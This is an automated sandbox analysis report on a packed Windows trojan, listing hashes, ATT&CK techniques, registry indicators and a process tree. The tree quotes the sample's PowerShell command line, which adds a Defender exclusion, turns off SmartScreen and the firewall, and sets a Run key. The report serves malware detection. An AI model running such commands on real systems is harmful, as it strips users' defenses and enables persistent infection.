41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

General

Target

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Size

3.4MB
MD5

55a6d22be09d762103ae315f97b58561
SHA1

f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1
SHA256

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a
SHA512

4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Score

10^/10

evasion persistence themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4" powershell.exe
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

UpSys.exeUpSys.exeUpSys.exe

pid process

1716 UpSys.exe
1624 UpSys.exe
1428 UpSys.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

580 netsh.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start = "4"	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

pid	process
1716	UpSys.exe
1624	UpSys.exe
1428	UpSys.exe

pid	process
580	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Drops startup file 1 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Loads dropped DLL 2 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exepowershell.exe

pid process

860 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
728 powershell.exe

pid	process
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
728	powershell.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/860-54-0x000000013F130000-0x000000013FA88000-memory.dmp	themida
behavioral1/memory/860-55-0x000000013F130000-0x000000013FA88000-memory.dmp	themida
behavioral1/memory/860-56-0x000000013F130000-0x000000013FA88000-memory.dmp	themida
\ProgramData\MicrosoftNetwork\System.exe	themida
behavioral1/memory/860-86-0x000000013F130000-0x000000013FA88000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

pid process

860 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Drops file in Windows directory 1 IoCs

Processes:

makecab.exe

description ioc process

File created C:\Windows\Logs\CBS\CbsPersist_20220803001528.cab makecab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
File created	C:\Windows\Logs\CBS\CbsPersist_20220803001528.cab	makecab.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0001623cea6d801	powershell.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exeUpSys.exeUpSys.exepowershell.exe

pid	process
728	powershell.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
1716	UpSys.exe
1716	UpSys.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
1624	UpSys.exe
1624	UpSys.exe
1588	powershell.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exeUpSys.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	1716	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	1716	UpSys.exe
Token: SeIncreaseQuotaPrivilege	1716	UpSys.exe
Token: 0	1716	UpSys.exe
Token: SeDebugPrivilege	1624	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	1624	UpSys.exe
Token: SeIncreaseQuotaPrivilege	1624	UpSys.exe
Token: SeDebugPrivilege	1588	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 860 wrote to memory of 728	860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe	powershell.exe
PID 860 wrote to memory of 728	860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe	powershell.exe
PID 860 wrote to memory of 728	860	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe	powershell.exe
PID 728 wrote to memory of 1716	728	powershell.exe	UpSys.exe
PID 728 wrote to memory of 1716	728	powershell.exe	UpSys.exe
PID 728 wrote to memory of 1716	728	powershell.exe	UpSys.exe
PID 728 wrote to memory of 580	728	powershell.exe	netsh.exe
PID 728 wrote to memory of 580	728	powershell.exe	netsh.exe
PID 728 wrote to memory of 580	728	powershell.exe	netsh.exe
PID 1428 wrote to memory of 1588	1428	UpSys.exe	powershell.exe
PID 1428 wrote to memory of 1588	1428	UpSys.exe	powershell.exe
PID 1428 wrote to memory of 1588	1428	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
"C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
2⤵
- Modifies security service
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:728

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
3⤵
- Modifies Windows Firewall
PID:580

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220803001528.log C:\Windows\Logs\CBS\CbsPersist_20220803001528.cab
1⤵
- Drops file in Windows directory
PID:1684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Virtualization/Sandbox Evasion

1

T1497

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
